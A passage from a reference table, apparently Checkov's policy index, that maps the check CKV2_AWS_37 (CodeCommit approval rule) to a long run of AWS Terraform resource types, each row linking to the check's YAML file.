[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 859 | CKV2_AWS_37 | resource | aws_codeartifact_repository_permissions_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 860 | CKV2_AWS_37 | resource | aws_codebuild_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 861 | CKV2_AWS_37 | resource | aws_codebuild_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 862 | CKV2_AWS_37 | resource | aws_codebuild_report_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 863 | CKV2_AWS_37 | resource | aws_codebuild_resource_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 864 | CKV2_AWS_37 | resource | aws_codebuild_source_credential | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 865 | CKV2_AWS_37 | resource | aws_codebuild_webhook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 866 | CKV2_AWS_37 | resource | aws_codecatalyst_dev_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 867 | CKV2_AWS_37 | resource | aws_codecatalyst_project | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 868 | CKV2_AWS_37 | resource | aws_codecatalyst_source_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 869 | CKV2_AWS_37 | resource | aws_codecommit_approval_rule_template | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 870 | CKV2_AWS_37 | resource | aws_codecommit_approval_rule_template_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 871 | CKV2_AWS_37 | resource | aws_codecommit_repository | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 872 | CKV2_AWS_37 | resource | aws_codecommit_trigger | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 873 | CKV2_AWS_37 | resource | aws_codeconnections_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 874 | CKV2_AWS_37 | resource | aws_codeconnections_host | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 875 | CKV2_AWS_37 | resource | aws_codedeploy_app | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 876 | CKV2_AWS_37 | resource | aws_codedeploy_deployment_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 877 | CKV2_AWS_37 | resource | aws_codedeploy_deployment_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 878 | CKV2_AWS_37 | resource | aws_codeguruprofiler_profiling_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 879 | CKV2_AWS_37 | resource | aws_codegurureviewer_repository_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 880 | CKV2_AWS_37 | resource | aws_codepipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 881 | CKV2_AWS_37 | resource | aws_codepipeline_custom_action_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 882 | CKV2_AWS_37 | resource | aws_codepipeline_webhook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 883 | CKV2_AWS_37 | resource | aws_codestarconnections_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 884 | CKV2_AWS_37 | resource | aws_codestarconnections_host | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 885 | CKV2_AWS_37 | resource | aws_codestarnotifications_notification_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 886 | CKV2_AWS_37 | resource | aws_cognito_identity_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 887 | CKV2_AWS_37 | resource | aws_cognito_identity_pool_provider_principal_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 888 | CKV2_AWS_37 | resource | aws_cognito_identity_pool_roles_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 889 | CKV2_AWS_37 | resource | aws_cognito_identity_provider | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 890 | CKV2_AWS_37 | resource | aws_cognito_managed_user_pool_client | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 891 | CKV2_AWS_37 | resource | aws_cognito_resource_server | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 892 | CKV2_AWS_37 | resource | aws_cognito_risk_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 893 | CKV2_AWS_37 | resource | aws_cognito_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 894 | CKV2_AWS_37 | resource | aws_cognito_user_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 895 | CKV2_AWS_37 | resource | aws_cognito_user_in_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 896 | CKV2_AWS_37 | resource | aws_cognito_user_pool | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 897 | CKV2_AWS_37 | resource | aws_cognito_user_pool_client | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 898 | CKV2_AWS_37 | resource | aws_cognito_user_pool_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 899 | CKV2_AWS_37 | resource | aws_cognito_user_pool_ui_customization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 900 | CKV2_AWS_37 | resource | aws_comprehend_document_classifier | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 901 | CKV2_AWS_37 | resource | aws_comprehend_entity_recognizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 902 | CKV2_AWS_37 | resource | aws_computeoptimizer_enrollment_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 903 | CKV2_AWS_37 | resource | aws_computeoptimizer_recommendation_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 904 | CKV2_AWS_37 | resource | aws_config_aggregate_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 905 | CKV2_AWS_37 | resource | aws_config_config_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 906 | CKV2_AWS_37 | resource | aws_config_configuration_aggregator | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 907 | CKV2_AWS_37 | resource | aws_config_configuration_recorder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 908 | CKV2_AWS_37 | resource | aws_config_configuration_recorder_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 909 | CKV2_AWS_37 | resource | aws_config_conformance_pack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 910 | CKV2_AWS_37 | resource | aws_config_delivery_channel | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 911 | CKV2_AWS_37 | resource | aws_config_organization_conformance_pack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 912 | CKV2_AWS_37 | resource | aws_config_organization_custom_policy_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 913 | CKV2_AWS_37 | resource | aws_config_organization_custom_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 914 | CKV2_AWS_37 | resource | aws_config_organization_managed_rule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 915 | CKV2_AWS_37 | resource | aws_config_remediation_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 916 | CKV2_AWS_37 | resource | aws_config_retention_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 917 | CKV2_AWS_37 | resource | aws_connect_bot_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 918 | CKV2_AWS_37 | resource | aws_connect_contact_flow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 919 | CKV2_AWS_37 | resource | aws_connect_contact_flow_module | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 920 | CKV2_AWS_37 | resource | aws_connect_hours_of_operation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 921 | CKV2_AWS_37 | resource | aws_connect_instance | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 922 | CKV2_AWS_37 | resource | aws_connect_instance_storage_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 923 | CKV2_AWS_37 | resource | aws_connect_lambda_function_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 924 | CKV2_AWS_37 | resource | aws_connect_phone_number | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 925 | CKV2_AWS_37 | resource | aws_connect_queue | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 926 | CKV2_AWS_37 | resource | aws_connect_quick_connect | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 927 | CKV2_AWS_37 | resource | aws_connect_routing_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 928 | CKV2_AWS_37 | resource | aws_connect_security_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 929 | CKV2_AWS_37 | resource | aws_connect_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 930 | CKV2_AWS_37 | resource | aws_connect_user_hierarchy_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 931 | CKV2_AWS_37 | resource | aws_connect_user_hierarchy_structure | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 932 | CKV2_AWS_37 | resource | aws_connect_vocabulary | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 933 | CKV2_AWS_37 | resource | aws_controltower_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 934 | CKV2_AWS_37 | resource | aws_controltower_landing_zone | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 935 | CKV2_AWS_37 | resource | aws_costoptimizationhub_enrollment_status | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 936 | CKV2_AWS_37 | resource | aws_costoptimizationhub_preferences | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 937 | CKV2_AWS_37 | resource | aws_cur_report_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 938 | CKV2_AWS_37 | resource | aws_customer_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 939 | CKV2_AWS_37 | resource | aws_customerprofiles_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 940 | CKV2_AWS_37 | resource | aws_customerprofiles_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 941 | CKV2_AWS_37 | resource | aws_dataexchange_data_set | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 942 | CKV2_AWS_37 | resource | aws_dataexchange_revision | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 943 | CKV2_AWS_37 | resource | aws_datapipeline_pipeline | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 944 | CKV2_AWS_37 | resource | aws_datapipeline_pipeline_definition | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 945 | CKV2_AWS_37 | resource | aws_datasync_agent | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 946 | CKV2_AWS_37 | resource | aws_datasync_location_azure_blob | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 947 | CKV2_AWS_37 | resource | aws_datasync_location_efs | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 948 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_lustre_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 949 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_ontap_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 950 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_openzfs_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 951 | CKV2_AWS_37 | resource | aws_datasync_location_fsx_windows_file_system | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 952 | CKV2_AWS_37 | resource | aws_datasync_location_hdfs | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 953 | CKV2_AWS_37 | resource | aws_datasync_location_nfs | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 954 | CKV2_AWS_37 | resource | aws_datasync_location_object_storage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 955 | CKV2_AWS_37 | resource | aws_datasync_location_s3 | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 956 | CKV2_AWS_37 | resource | aws_datasync_location_smb | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 957 | CKV2_AWS_37 | resource | aws_datasync_task | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 958 | CKV2_AWS_37 | resource | aws_datazone_asset_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 959 | CKV2_AWS_37 | resource | aws_datazone_domain | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 960 | CKV2_AWS_37 | resource | aws_datazone_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 961 | CKV2_AWS_37 | resource | aws_datazone_environment_blueprint_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 962 | CKV2_AWS_37 | resource | aws_datazone_environment_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 963 | CKV2_AWS_37 | resource | aws_datazone_form_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 964 | CKV2_AWS_37 | resource | aws_datazone_glossary | 